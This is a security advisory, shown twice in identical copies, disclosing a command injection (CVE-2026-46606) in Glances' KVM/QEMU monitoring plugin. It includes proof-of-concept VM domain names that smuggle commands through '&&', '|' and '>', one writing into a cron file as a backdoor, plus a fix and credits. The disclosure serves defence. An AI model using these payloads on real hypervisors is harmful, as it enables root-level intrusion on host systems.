CVE-2026-46606

### Summary The Glances KVM/QEMU monitoring engine (`glances/plugins/vms/engines/virsh.py`) passes VM domain names, read directly from `virsh list --all` output, into f-string command templates that are processed by `secure_popen()`. `secure_popen()` is explicitly designed to interpret `&&`, `|`, and `>` as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts. --- ### Details **Affected file:** `glances/plugins/vms/engines/virsh.py` **Direct URLs (commit 04579778e733d705898a169e049dc84772c852da):** - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L185 - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L204 The vulnerable calls are on lines 185 and 204: ```python # line 185 (update_stats) ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}') # line 204 (update_title) ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}') ``` `domain` is the name string parsed from the output of `virsh list --all` (line 59–78 in the same file); no sanitisation is applied to it at any point before it reaches `secure_popen()`. `secure_popen()` is defined in `glances/secure.py`. It explicitly splits the command string on `&&`, `|`, and `>` before invoking `subprocess.Popen` with `shell=False` on each part, meaning all three operators are treated as real pipeline/redirection control characters: ```python # glances/secure.py def secure_popen(cmd): ret = '' for c in cmd.split('&&'): # '&&' → two separate processes ret += __secure_popen(c) return ret def __secure_popen(cmd): for sub_cmd in cmd.split('|'): # '|' → stdin/stdout piped p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE) # '>' is split separately for file redirection ``` By contrast, `actions.py` sanitises process names through `_sanitize_mustache_dict()` before they reach `secure_popen()`. The `vms` plugin applies no such protection. **Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da). All three injection operators were verified: | Operator | Effect | Confirmed | |----------|--------|-----------| | `&&` | Second command executes after the virsh call | Yes | | `\|` | Output of virsh piped to injected command | Yes | | `>` | virsh output redirected to arbitrary file | Yes | --- ### PoC **Special configuration required** * Glances must be configured to monitor a KVM/QEMU hypervisor: the `vms` plugin must be enabled and `/usr/bin/virsh` must be installed and executable. * The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the `libvirt` group, a typical default on Ubuntu/Debian/Fedora, or a cloud-platform tenant account). * No custom `glances.conf` settings are needed beyond a working virsh setup. **Step 1 — Create a VM with a crafted domain name** Using the `&&` operator to chain a second command: ```xml <domain type="kvm"> <name>productionDB &amp;&amp; touch /tmp/glances_pwned</name> <memory>131072</memory> <vcpu>1</vcpu> <os><type arch="x86_64">hvm</type></os> </domain> ``` ```bash virsh define evil-domain.xml ``` **Step 2 — Start Glances with KVM monitoring enabled** ```bash glances # or: glances -s / glances -w ``` On the next monitoring cycle Glances calls: ``` virsh domstats --nowait "productionDB && touch /tmp/glances_pwned" ``` which `secure_popen()` splits into two processes: 1. `virsh domstats --nowait productionDB` 2. `touch /tmp/glances_pwned` **Step 3 — Verify execution** ```bash ls -la /tmp/glances_pwned # file will exist, owned by the Glances user ``` **Pipe injection (`|`) example** Domain name: `"productionDB | tee /tmp/virsh_output_stolen.txt"` The output of the virsh call is piped to `tee`, writing the data to an attacker-controlled path. **File-write injection (`>`) example** Domain name: `"productionDB > /etc/cron.d/glances_backdoor"` The virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle. **Minimal Python reproduction (no VM required)** ```python import sys sys.path.insert(0, '/path/to/glances') # adjust to local clone from glances.secure import secure_popen # Simulates the exact call in virsh.py line 185 domain = 'productionDB && id' result = secure_popen(f'/bin/echo domstats --nowait {domain}') print(result) # Output will include two lines: the echo output AND the output of `id` ``` --- ### Impact **Vulnerability type:** Command Injection (CWE-78) **Who is impacted:** Any deployment of Glances on a KVM/QEMU hypervisor host where the `vms` plugin is active. Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights — a privilege granted by default to members of the `libvirt` group and to cloud-platform tenant APIs. **Impact:** - **Confidentiality:** Full — arbitrary commands can exfiltrate secrets from the Glances process environment and the file system. - **Integrity:** Full — file-write injection (`>`) allows placing content in any file writable by the Glances process (cron, authorised_keys, etc.). - **Availability:** Full — the Glances process can be terminated or the host disrupted through the injected commands. In cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution. --- ### Suggested Fix Replace the f-string interpolation with list-based argument passing to avoid any interaction with `secure_popen()`'s operator splitting logic: ```python # virsh.py — replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE result = run( [VIRSH_PATH, 'domstats', '--nowait', domain], stdout=PIPE, stderr=PIPE, timeout=5 ) ``` Alternatively, sanitise `domain` using the same `_sanitize_mustache_dict` helper already used in `actions.py`, which strips `&&`, `|`, `>`, `;`, and backtick characters from string values. As a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with `CAP_SYS_PTRACE` rather than as root. --- ### Responsible Disclosure The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first. --- ### Credits This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team. ---

### Summary The Glances KVM/QEMU monitoring engine (`glances/plugins/vms/engines/virsh.py`) passes VM domain names, read directly from `virsh list --all` output, into f-string command templates that are processed by `secure_popen()`. `secure_popen()` is explicitly designed to interpret `&&`, `|`, and `>` as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts. --- ### Details **Affected file:** `glances/plugins/vms/engines/virsh.py` **Direct URLs (commit 04579778e733d705898a169e049dc84772c852da):** - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L185 - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L204 The vulnerable calls are on lines 185 and 204: ```python # line 185 (update_stats) ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}') # line 204 (update_title) ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}') ``` `domain` is the name string parsed from the output of `virsh list --all` (line 59–78 in the same file); no sanitisation is applied to it at any point before it reaches `secure_popen()`. `secure_popen()` is defined in `glances/secure.py`. It explicitly splits the command string on `&&`, `|`, and `>` before invoking `subprocess.Popen` with `shell=False` on each part, meaning all three operators are treated as real pipeline/redirection control characters: ```python # glances/secure.py def secure_popen(cmd): ret = '' for c in cmd.split('&&'): # '&&' → two separate processes ret += __secure_popen(c) return ret def __secure_popen(cmd): for sub_cmd in cmd.split('|'): # '|' → stdin/stdout piped p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE) # '>' is split separately for file redirection ``` By contrast, `actions.py` sanitises process names through `_sanitize_mustache_dict()` before they reach `secure_popen()`. The `vms` plugin applies no such protection. **Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da). All three injection operators were verified: | Operator | Effect | Confirmed | |----------|--------|-----------| | `&&` | Second command executes after the virsh call | Yes | | `\|` | Output of virsh piped to injected command | Yes | | `>` | virsh output redirected to arbitrary file | Yes | --- ### PoC **Special configuration required** * Glances must be configured to monitor a KVM/QEMU hypervisor: the `vms` plugin must be enabled and `/usr/bin/virsh` must be installed and executable. * The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the `libvirt` group, a typical default on Ubuntu/Debian/Fedora, or a cloud-platform tenant account). * No custom `glances.conf` settings are needed beyond a working virsh setup. **Step 1 — Create a VM with a crafted domain name** Using the `&&` operator to chain a second command: ```xml <domain type="kvm"> <name>productionDB &amp;&amp; touch /tmp/glances_pwned</name> <memory>131072</memory> <vcpu>1</vcpu> <os><type arch="x86_64">hvm</type></os> </domain> ``` ```bash virsh define evil-domain.xml ``` **Step 2 — Start Glances with KVM monitoring enabled** ```bash glances # or: glances -s / glances -w ``` On the next monitoring cycle Glances calls: ``` virsh domstats --nowait "productionDB && touch /tmp/glances_pwned" ``` which `secure_popen()` splits into two processes: 1. `virsh domstats --nowait productionDB` 2. `touch /tmp/glances_pwned` **Step 3 — Verify execution** ```bash ls -la /tmp/glances_pwned # file will exist, owned by the Glances user ``` **Pipe injection (`|`) example** Domain name: `"productionDB | tee /tmp/virsh_output_stolen.txt"` The output of the virsh call is piped to `tee`, writing the data to an attacker-controlled path. **File-write injection (`>`) example** Domain name: `"productionDB > /etc/cron.d/glances_backdoor"` The virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle. **Minimal Python reproduction (no VM required)** ```python import sys sys.path.insert(0, '/path/to/glances') # adjust to local clone from glances.secure import secure_popen # Simulates the exact call in virsh.py line 185 domain = 'productionDB && id' result = secure_popen(f'/bin/echo domstats --nowait {domain}') print(result) # Output will include two lines: the echo output AND the output of `id` ``` --- ### Impact **Vulnerability type:** Command Injection (CWE-78) **Who is impacted:** Any deployment of Glances on a KVM/QEMU hypervisor host where the `vms` plugin is active. Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights — a privilege granted by default to members of the `libvirt` group and to cloud-platform tenant APIs. **Impact:** - **Confidentiality:** Full — arbitrary commands can exfiltrate secrets from the Glances process environment and the file system. - **Integrity:** Full — file-write injection (`>`) allows placing content in any file writable by the Glances process (cron, authorised_keys, etc.). - **Availability:** Full — the Glances process can be terminated or the host disrupted through the injected commands. In cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution. --- ### Suggested Fix Replace the f-string interpolation with list-based argument passing to avoid any interaction with `secure_popen()`'s operator splitting logic: ```python # virsh.py — replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE result = run( [VIRSH_PATH, 'domstats', '--nowait', domain], stdout=PIPE, stderr=PIPE, timeout=5 ) ``` Alternatively, sanitise `domain` using the same `_sanitize_mustache_dict` helper already used in `actions.py`, which strips `&&`, `|`, `>`, `;`, and backtick characters from string values. As a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with `CAP_SYS_PTRACE` rather than as root. --- ### Responsible Disclosure The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first. --- ### Credits This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team. ---